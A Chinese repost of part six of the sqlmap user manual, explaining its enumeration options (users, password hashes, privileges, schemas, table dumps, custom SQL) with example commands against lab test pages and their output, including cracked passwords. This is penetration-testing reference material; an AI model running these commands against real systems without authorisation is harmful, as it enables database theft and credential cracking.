sqlmap用户手册(六)

您所在的位置:网站首页 获取表的列名 sqlmap用户手册(六)

sqlmap用户手册(六)

2024-07-07 18:34| 来源: 网络整理| 查看: 265

列数据 标志

参数:-b,--banner

大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

用户

参数:-current-user

在大多数据库中可以获取到管理数据的用户。

当前数据库

参数:--current-db

返还当前连接的数据库。

当前用户是否为管理用

参数:--is-dba

判断当前的用户是否为管理,是的话会返回True。

列数据库管理用户

参数:--users

当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

列出并破解数据库用户的hash

参数:--passwords

当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1 [...] back-end DBMS: PostgreSQL [hh:mm:38] [INFO] fetching database users password hashes do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y [hh:mm:42] [INFO] using hash method: 'postgres_passwd' what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] [hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt' do you want to use common password suffixes? (slow!) [y/N] n [hh:mm:48] [INFO] starting dictionary attack (postgres_passwd) [hh:mm:49] [INFO] found: 'testpass' for user: 'testuser' [hh:mm:50] [INFO] found: 'testpass' for user: 'postgres' database management system users password hashes: [*] postgres [1]:     password hash: md5d7d880f96044b72d0bba108ace96d1e4     clear-text password: testpass [*] testuser [1]:     password hash: md599e5ea7a6f7c3269995cba3927fd0093     clear-text password: testpass

可以看到sqlmap不仅勒出数据库的用户跟密码,同时也识别出是PostgreSQL数据库,并询问用户是否采用字典爆破的方式进行破解,这个爆破已经支持Oracle和Microsoft SQL Server。

也可以提供-U参数来指定爆破哪个用户的hash。

列出数据库管理员权限

参数:--privileges

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

列出数据库管理员角色

参数:--roles

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。

仅适用于当前数据库是Oracle的时候。

列出数据库系统的数据库

参数:--dbs

当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

列举数据库表

参数:--tables,--exclude-sysdbs,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。

如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。

--exclude-sysdbs参数是指包含了所有的系统数据库。

需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

列举数据库表中的字段

参数:--columns,-C,-T,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。

如果没有使用-D参数指定数据库时,默认会使用当前数据库。

列举一个SQLite的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name [...] Database: SQLite_masterdb Table: users [3 columns] +---------+---------+ | Column  | Type    | +---------+---------+ | id      | INTEGER | | name    | TEXT    | | surname | TEXT    | +---------+---------+ 列举数据库系统的架构

参数:--schema,--exclude-sysdbs

用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。

加上--exclude-sysdbs参数,将不会获取数据库自带的系统库内容。

MySQL例子:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs [...] Database: owasp10 Table: accounts [4 columns] +-------------+---------+ | Column      | Type    | +-------------+---------+ | cid         | int(11) | | mysignature | text    | | password    | text    | | username    | text    | +-------------+---------+ Database: owasp10 Table: blogs_table [4 columns] +--------------+----------+ | Column       | Type     | +--------------+----------+ | date         | datetime | | blogger_name | text     | | cid          | int(11)  | | comment      | text     | +--------------+----------+ Database: owasp10 Table: hitlog [6 columns] +----------+----------+ | Column   | Type     | +----------+----------+ | date     | datetime | | browser  | text     | | cid      | int(11)  | | hostname | text     | | ip       | text     | | referer  | text     | +----------+----------+ Database: testdb Table: users [3 columns] +---------+---------------+ | Column  | Type          | +---------+---------------+ | id      | int(11)       | | name    | varchar(500)  | | surname | varchar(1000) | +---------+---------------+ [...] 获取表中数据个数

参数:--count

有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。

列举一个Microsoft SQL Server例子:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb [...] Database: testdb +----------------+---------+ | Table          | Entries | +----------------+---------+ | dbo.users      | 4       | | dbo.users_blob | 2       | +----------------+---------+ 获取整个表的数据

参数:--dump,-C,-T,-D,--start,--stop,--first,--last

如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。

使用-D,-T参数指定想要获取哪个库的哪个表,不适用-D参数时,默认使用当前库。

列举一个Firebird的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users [...] Database: Firebird_masterdb Table: USERS [4 entries] +----+--------+------------+ | ID | NAME   | SURNAME    | +----+--------+------------+ | 1  | luther | blisset    | | 2  | fluffy | bunny      | | 3  | wu     | ming       | | 4  | NULL   | nameisnull | +----+--------+------------+

可以获取指定库中的所有表的内容,只用-dump跟-D参数(不使用-T与-C参数)。

也可以用-dump跟-C获取指定的字段内容。

sqlmap为每个表生成了一个CSV文件。

如果你只想获取一段数据,可以使用--start和--stop参数,例如,你只想获取第一段数据可hi使用--stop 1,如果想获取第二段与第三段数据,使用参数 --start 1 --stop 3。

也可以用--first与--last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用--first 3 --last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。

获取所有数据库表的内容

参数:--dump-all,--exclude-sysdbs

使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。

搜索字段,表,数据库

参数:--search,-C,-T,-D

--search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。

可以在一下三种情况下使用:

-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。 -T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名 -D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。 运行自定义的SQL语句

参数:--sql-query,--sql-shell

sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。

如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。

列举一个Mircrosoft SQL Server 2000的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1 [...] [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' [hh:mm:14] [INFO] retrieved: foo SELECT 'foo':    'foo' $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2 [...] [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: foo [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: bar [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds SELECT 'foo', 'bar':    'foo, bar'


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3